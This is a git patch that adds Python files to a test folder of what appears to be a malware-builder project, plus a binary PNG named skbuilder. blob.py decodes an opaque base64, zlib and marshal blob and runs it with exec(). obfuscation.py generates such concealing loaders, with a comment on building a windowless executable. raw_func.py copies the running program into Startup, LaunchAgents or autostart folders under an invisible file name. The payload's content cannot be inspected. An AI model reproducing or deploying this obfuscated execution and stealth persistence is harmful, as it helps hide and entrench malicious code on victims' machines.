From aad3956fc2e9828febfd4e04ce002bf70a91fa78 Mon Sep 17 00:00:00 2001 From: Sirkeira <118860604+CirqueiraDev@users.noreply.github.com> Date: Tue, 2 Dec 2025 13:15:42 -0300 Subject: [PATCH] Add files via upload --- test/blob.py | 8 +++++++ test/obfuscation.py | 52 ++++++++++++++++++++++++++++++++++++++++++++ test/raw_func.py | 28 ++++++++++++++++++++++++ test/skbuilder.png | Bin 0 -> 26324 bytes 4 files changed, 88 insertions(+) create mode 100644 test/blob.py create mode 100644 test/obfuscation.py create mode 100644 test/raw_func.py create mode 100644 test/skbuilder.png diff --git a/test/blob.py b/test/blob.py new file mode 100644 index 0000000..6240e46 --- /dev/null +++ b/test/blob.py @@ -0,0 +1,8 @@ + +import base64, marshal +import zlib +a='eJy9VE1oG0cUnv3TjrRaJbH14/64DkqioIJEDqnB4KYYF6uhiePGTR0Xt2ajWf248q7YXUWykYoPKYg0EBMCNv2hojiuiy89BnoJvfSqFQsSA4ZAyKE3QS4ml3ZWtlVJVSjuoQP7ZnjzvW++efPePgMdgzqcX7iJ2QAI3AGfAkTNgjAd78RB8jE27jemhaNKwAmMDsDSEROo0KDPMBwdWPZohejX2t5twrDbZilRRarC9WNCTDdSYxBbopXAK/FcD55GjhKN+CL9LfieLjFdytrrCt+XC/ZwvfuKHMB+0Z3YirMvv7ObH7mQgNxIRJ5tomy3ra7EKr8eS/eJHt3v/VfdHVhX35NO9tzgFBrYJjWzy3Ro/+xY2gd7tF/637R7ka9X+3HOLrJFZpt0w267I0qc4f97v+LuG0UVue4oqrtyxL5RHPL3RhXBLDhDZrtb54HCFJh5kKdsbzgwPfWHDVplo3JBxgwxq0w0u4Lp7ErObs9nX21FMZNPK5ifmJl5f+LjCey8mo5rqq4mDMzPpRWk5vVV16whacbpq7KSw3BGU5OatKxjvuXNZbEDSRrheEl9ifkr6VuapK1g9xUpp8RTE0lZMXTMZdJKrrDKR+OqkkgnsVPKGapuh6f/JOkNezCt6pjNSkYK89ItvbVg9BXik7TkbQxlBen5NHHCbEYyEqq2jF2t+AMvu6SSOziSsiErt7FLLmQlBeV0WcMOPZUz0hnMxlVyby6eWlZR2IF5/VC7M5HOyIsH58kFA0NFzi8q0rKMHQk1gwiDaG8u2m4bqtt1fLo1sKBJxEmuaacULh5SaufBwR9X/5rYNdDwDK7FmmyAE/e8/oexjWsPrj2a3Ppg56OtD03vBct7oex8KnjrwnBNGN5MmMI5SzjXBIwz0BgIlCfLkw3RXxdHauJIhTPFkCWGmoCyN/3lyaeDI5tn1sfXx8vwueC5N14XgjUhWHnHFMKWEG4CzjlL7fkCD+c2Fh4sPAr+FP4xvHPZDI5awdHHwpP56sxC9fNUdUk3fYblM8pT5ak98eS9hbp4tiaerdw0xaglRm0tXTRb5+vBi7XgxV9mzeCYFRx7PPZEMX03LN+NXoY5U4xYYsQW/G8MX5i+65bvOokfev07/gf3N+7KJzs3zaFRa2i0LD6HnvvCXWH98mbJhBELRqowsgdd9+FduD5M8gJDFgxVYahxwl/27DdpmhPt7PEN6C6z+/v7DWFgbVq3G/FO7FTMD373s7E3mekw1Xqsn8ELu0u0EDEv4TipkFxGvqS9ffSObxHTZCiKatJvUINN8E+jhQnkLz9fiFs=' +b=base64.b64decode(a) +b=zlib.decompress(b) +c=marshal.loads(b) +exec(c) diff --git a/test/obfuscation.py b/test/obfuscation.py new file mode 100644 index 0000000..5e21087 --- /dev/null +++ b/test/obfuscation.py @@ -0,0 +1,52 @@ +# pyinstaller --onefile --noconsole --icon=app.ico --add-data "config.json;." main.py + +import argparse +import base64 +import marshal +import zlib +import sys +from pathlib import Path + +LOADER_TEMPLATE = ''' +import base64, marshal +{decompress_import} +a={b64!s} +b=base64.b64decode(a) +{maybe_decompress} +c=marshal.loads(b) +exec(c) +''' + +def obfuscate_file(input_path: Path, output_path: Path, compress: bool = False): + src = input_path.read_text(encoding="utf-8") + code_obj = compile(src, str(input_path), "exec") + + data = marshal.dumps(code_obj) + + if compress: + data = zlib.compress(data) + b64 = base64.b64encode(data).decode("ascii") + loader = LOADER_TEMPLATE.format( + b64=repr(b64), + decompress_import="import zlib" if compress else "", + maybe_decompress="b=zlib.decompress(b)" if compress else "" + ) + output_path.write_text(loader, encoding="utf-8") + print(f"Ofuscado gerado: {output_path} (compress={compress})") + +def main(): + p = argparse.ArgumentParser(description="Ofusca um arquivo .py usando marshal+base64 (opção zlib).") + p.add_argument("input", help="Arquivo .py de entrada") + p.add_argument("-o", "--output", help="Arquivo .py de saída (padrão: ofuscado_)") + p.add_argument("--compress", action="store_true", help="Aplicar zlib.compress antes do base64 (recomendado)") + args = p.parse_args() + + inp = Path(args.input) + if not inp.exists(): + print("Arquivo de entrada não encontrado:", inp, file=sys.stderr) + sys.exit(2) + out = Path(args.output) if args.output else inp.with_name(f"ofuscado_{inp.name}") + obfuscate_file(inp, out, compress=args.compress) + +if __name__ == "__main__": + main() diff --git a/test/raw_func.py b/test/raw_func.py new file mode 100644 index 0000000..57e9744 --- /dev/null +++ b/test/raw_func.py @@ -0,0 +1,28 @@ +def _startup(): + startup = False + + try: + file_path = os.path.abspath(sys.argv[0]) + + if file_path.endswith(".exe"): + ext = "exe" + elif file_path.endswith(".py"): + ext = "py" + + new_name = f"ㅤ.{ext}" + + if sys.platform.startswith('win'): + folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup') + elif sys.platform.startswith('darwin'): + folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents') + elif sys.platform.startswith('linux'): + folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart') + path_new_file = os.path.join(folder, new_name) + + shutil.copy(file_path, path_new_file) + os.chmod(path_new_file, 0o777) + return startup + except: + startup = False + pass + return startup \ No newline at end of file diff --git a/test/skbuilder.png b/test/skbuilder.png new file mode 100644 index 0000000000000000000000000000000000000000..05341b14e34cc2189dacd315c42fb37aeb09ac33 GIT binary patch literal 26324 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 